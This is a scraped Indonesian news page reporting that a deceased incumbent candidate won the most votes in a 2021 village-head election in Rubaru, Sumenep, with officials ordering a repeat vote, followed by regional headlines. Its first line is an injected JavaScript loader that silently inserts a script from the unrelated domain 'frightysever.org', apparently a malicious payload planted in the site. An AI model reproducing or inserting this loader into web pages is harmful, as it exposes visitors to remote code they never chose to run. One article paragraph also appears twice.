(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
WARGA +62

Peserta Pilkades di Sumenep Ini Sudah Meninggal Tetap Dipilih, Dulang Suara Terbanyak Pula


KANALKALIMANTAN.COM – Rudiyanto, salah satu peserta Pilkades (pemilihan kepala desa) Rubaru, Kabupaten Sumenep mendapat suara terbanyak, total 1.334 suara. Padahal Rudiyanto telah meninggal dunia.

Sedangkan dua calon kades lainnya, Moh. Munandar mengemas 1.005 suara, dan Abdul Latif hanya meraup 31 suara. Sosok almarhum Rudiyanto ini diketahui merupakan calon incumbent atau petahana.

“Hasil penghitungan suara yang kami lakukan, almarhum Rudiyanto mendapatkan suara terbanyak. Selisih suaranya dibanding perolehan terbanyak kedua adalah 339 suara,” ujar Ketua Panitia Pilkades Rubaru, Moh Fikri, mengutip dari Beritajatim.com jejaring media Suara.com, Kamis (25/11/2021).

Alasan Rudiyanto tetap dipilih meski telah wafat, lantaran sosok petahana tersebut dicintai masyarakat. Kemudian selama kepemimpinannya cukup banyak kemajuan yang terjadi di Desa Rubaru, terutama infrastruktur.

 

 

Baca juga: Sabet Juara I Nasional untuk Kalsel, Nishfa Raih Gelar Master Catur

Selain itu, dikenal selalu ada untuk masyarakat saat dibutuhkan. Karena itu, masyarakat tetap bersikeras memilih Rudiyanto, meski sudah tiada.

Selain itu, dikenal selalu ada untuk masyarakat saat dibutuhkan. Karena itu, masyarakat tetap bersikeras memilih Rudiyanto, meski sudah tiada.

Sementara, Kepala Dinas Pemberdayaan Masyarakat dan Desa (DPMD) Kabupaten Sumenep, Moh. Ramli menjelaskan, Pilkades Rubaru tetap bisa digelar meski ada satu calon yang meninggal.

“Di Desa Rubaru kan ada tiga calon. satu meninggal. Jadi masih ada dua calon. Ini memang boleh dan sah pemungutan suaranya,” terang Ramli.

Baca juga: Pemko Banjarbaru Buka Kesempatan UMKM Tampil ke Kancah Internasional

Namun, lanjut dia, hasil pemungutan suara bisa disahkan jika calon yang terpilih masih hidup. Lain cerita jika ternyata sudah meninggal. Maka, menurutnya, hasil pilkades di Desa Rubaru tidak dapat disahkan.

“Karena itu, untuk Desa Rubaru ini harus dilakukan pemungutan suara ulang pada Pilkades berikutnya. Untuk menjalankan roda pemerintahan desa, maka Bupati nanti akan menunjuk PJ hingga pelaksanaan Pilkades berikutnya,” papar Ramli. (Suara.com)

Editor: suara


Risa

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

8 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

9 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

10 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

10 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

11 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

16 jam ago

This website uses cookies.